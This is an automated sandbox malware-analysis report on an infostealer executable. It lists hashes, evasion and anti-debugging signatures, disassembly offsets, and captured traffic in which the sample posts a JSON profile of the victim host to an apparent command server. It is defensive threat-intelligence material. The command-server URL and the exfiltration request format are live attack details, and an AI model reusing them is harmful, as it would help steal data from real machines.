Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
mBr65h6L4w.exe

Overview

General Information

Sample name:mBr65h6L4w.exe
renamed because original name is a hash value
Original sample name:46f2ce87ff70ecd81cef884655f82ea3.exe
Analysis ID:1580956
MD5:46f2ce87ff70ecd81cef884655f82ea3
SHA1:b236341be179023437f850df56b27dac08bb1a05
SHA256:b187942302acfc0c1ed1390b5554950f9a8da7fc6ef53f93b78de85ca0816e49
Tags:exeuser-abuse_ch
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (changes PE section rights)
Multi AV Scanner detection for submitted file
AI detected suspicious sample
Hides threads from debuggers
Infostealer behavior detected
Leaks process information
Machine Learning detection for sample
PE file contains section with special chars
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
AV process strings found (often used to terminate AV products)
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to create an SMB header
Contains functionality to detect virtual machines (STR)
Detected potential crypto function
Entry point lies outside standard sections
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • mBr65h6L4w.exe (PID: 6256 cmdline: "C:\Users\user\Desktop\mBr65h6L4w.exe" MD5: 46F2CE87FF70ECD81CEF884655F82EA3)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus / Scanner detection for submitted sample
Source: mBr65h6L4w.exeAvira: detected
Multi AV Scanner detection for submitted file
Source: mBr65h6L4w.exeReversingLabs: Detection: 34%
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: mBr65h6L4w.exeJoe Sandbox ML: detected
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: -----BEGIN PUBLIC KEY-----1_2_009BDCF0
Source: mBr65h6L4w.exeBinary or memory string: -----BEGIN PUBLIC KEY-----
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: mov dword ptr [ebp+04h], 424D53FFh1_2_009FA5B0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: mov dword ptr [ebx+04h], 424D53FFh1_2_009FA7F0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: mov dword ptr [edi+04h], 424D53FFh1_2_009FA7F0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: mov dword ptr [esi+04h], 424D53FFh1_2_009FA7F0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: mov dword ptr [edi+04h], 424D53FFh1_2_009FA7F0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: mov dword ptr [esi+04h], 424D53FFh1_2_009FA7F0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: mov dword ptr [ebx+04h], 424D53FFh1_2_009FA7F0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: mov dword ptr [ebx+04h], 424D53FFh1_2_009FB560
Source: mBr65h6L4w.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_0099255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,SHGetKnownFolderPath,FindFirstFileW,FindNextFileW,K32EnumProcesses,1_2_0099255D
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_009929FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,1_2_009929FF
Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global trafficHTTP traffic detected: POST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1Host: home.fiveth5ht.topAccept: */*Content-Type: application/jsonContent-Length: 560474Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 34 35 32 31 33 32 31 34 30 30 30 31 30 38 39 31 39 34 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 36 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 2
Source: global trafficHTTP traffic detected: GET /OyKvQKriwnyyWjwCxSXF1735186862?argument=0 HTTP/1.1Host: home.fiveth5ht.topAccept: */*
Source: global trafficHTTP traffic detected: POST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1Host: home.fiveth5ht.topAccept: */*Content-Type: application/jsonContent-Length: 31Data Raw: 7b 20 22 69 64 31 22 3a 20 22 30 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d Data Ascii: { "id1": "0", "data": "Done1" }
Source: Joe Sandbox ViewIP Address: 34.226.108.155 34.226.108.155
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00A5A8C0 recvfrom,1_2_00A5A8C0
Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global trafficHTTP traffic detected: GET /OyKvQKriwnyyWjwCxSXF1735186862?argument=0 HTTP/1.1Host: home.fiveth5ht.topAccept: */*
Source: global trafficDNS traffic detected: DNS query: httpbin.org
Source: global trafficDNS traffic detected: DNS query: home.fiveth5ht.top
Source: unknownHTTP traffic detected: POST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1Host: home.fiveth5ht.topAccept: */*Content-Type: application/jsonContent-Length: 560474Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 34 35 32 31 33 32 31 34 30 30 30 31 30 38 39 31 39 34 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 36 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 2
Source: global trafficHTTP traffic detected: HTTP/1.1 404 NOT FOUNDServer: nginx/1.22.1Date: Thu, 26 Dec 2024 13:14:28 GMTContent-Type: text/html; charset=utf-8Content-Length: 207Connection: closeData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Source: global trafficHTTP traffic detected: HTTP/1.1 404 NOT FOUNDServer: nginx/1.22.1Date: Thu, 26 Dec 2024 13:14:30 GMTContent-Type: text/html; charset=utf-8Content-Length: 207Connection: closeData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Source: mBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://.css
Source: mBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://.jpg
Source: mBr65h6L4w.exe, 00000001.00000002.2394440960.0000000001CDB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQ
Source: mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF17
Source: mBr65h6L4w.exe, 00000001.00000003.2355081522.0000000001C57000.00000004.00000020.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862
Source: mBr65h6L4w.exe, 00000001.00000002.2394189109.0000000001C64000.00000004.00000020.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000003.2354382784.0000000001C63000.00000004.00000020.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000003.2354136617.0000000001C62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862?argument=0
Source: mBr65h6L4w.exe, 00000001.00000002.2394189109.0000000001C64000.00000004.00000020.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000003.2354382784.0000000001C63000.00000004.00000020.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000003.2354136617.0000000001C62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862?argument=0i
Source: mBr65h6L4w.exe, 00000001.00000002.2394109920.0000000001C59000.00000004.00000020.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000003.2355081522.0000000001C57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862T
Source: mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxS
Source: mBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://html4/loose.dtd
Source: mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://curl.se/docs/alt-svc.html
Source: mBr65h6L4w.exeString found in binary or memory: https://curl.se/docs/alt-svc.html#
Source: mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://curl.se/docs/hsts.html
Source: mBr65h6L4w.exeString found in binary or memory: https://curl.se/docs/hsts.html#
Source: mBr65h6L4w.exe, mBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://curl.se/docs/http-cookies.html
Source: mBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://httpbin.org/ip
Source: mBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://httpbin.org/ipbefore
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443

System Summary

barindex
PE file contains section with special chars
Source: mBr65h6L4w.exeStatic PE information: section name:
Source: mBr65h6L4w.exeStatic PE information: section name: .idata
Source: mBr65h6L4w.exeStatic PE information: section name:
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4E701_3_01CC4E70
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4E701_3_01CC4E70
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4E701_3_01CC4E70
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4E701_3_01CC4E70
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4E701_3_01CC4E70
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4E701_3_01CC4E70
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4E701_3_01CC4E70
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4E701_3_01CC4E70
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4E701_3_01CC4E70
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4E701_3_01CC4E70
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4E701_3_01CC4E70
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4E701_3_01CC4E70
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_009A05B01_2_009A05B0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_009A6FA01_2_009A6FA0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00A5B1801_2_00A5B180
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_009CF1001_2_009CF100
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00A600E01_2_00A600E0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00D1E0501_2_00D1E050
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00D1A0001_2_00D1A000
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_009F62101_2_009F6210
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00A5C3201_2_00A5C320
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00A604201_2_00A60420
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00CE44101_2_00CE4410
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_0099E6201_2_0099E620
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00D147801_2_00D14780
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_009FA7F01_2_009FA7F0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00A5C7701_2_00A5C770
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00CF67301_2_00CF6730
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00A4C9001_2_00A4C900
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_009A49401_2_009A4940
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_0099A9601_2_0099A960
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00C4AAC01_2_00C4AAC0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00B66AC01_2_00B66AC0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00D08BF01_2_00D08BF0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_0099CBB01_2_0099CBB0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00B24B601_2_00B24B60
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00C4AB2C1_2_00C4AB2C
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00D1CC901_2_00D1CC90
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00D0CD801_2_00D0CD80
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00D14D401_2_00D14D40
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00CAAE301_2_00CAAE30
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00A5EF901_2_00A5EF90
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00A58F901_2_00A58F90
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00CE2F901_2_00CE2F90
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_009B4F701_2_009B4F70
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_009A10E61_2_009A10E6
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00CFD4301_2_00CFD430
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00D035B01_2_00D035B0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00CE56D01_2_00CE56D0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00D217A01_2_00D217A0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00A498801_2_00A49880
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00CE99201_2_00CE9920
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00D13A701_2_00D13A70
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00D01BD01_2_00D01BD0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_009D1BE01_2_009D1BE0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00CF7CC01_2_00CF7CC0
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00C49C801_2_00C49C80
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: String function: 009D5340 appears 45 times
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: String function: 00B6CBC0 appears 82 times
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: String function: 009973F0 appears 110 times
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: String function: 009D4F40 appears 309 times
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: String function: 009D4FD0 appears 247 times
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: String function: 0099C960 appears 32 times
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: String function: 009975A0 appears 641 times
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: String function: 00B47220 appears 87 times
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: String function: 009ACD40 appears 73 times
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: String function: 009ACCD0 appears 54 times
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: String function: 00A744A0 appears 68 times
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: String function: 009971E0 appears 47 times
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: String function: 0099CAA0 appears 62 times
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: String function: 009D50A0 appears 90 times
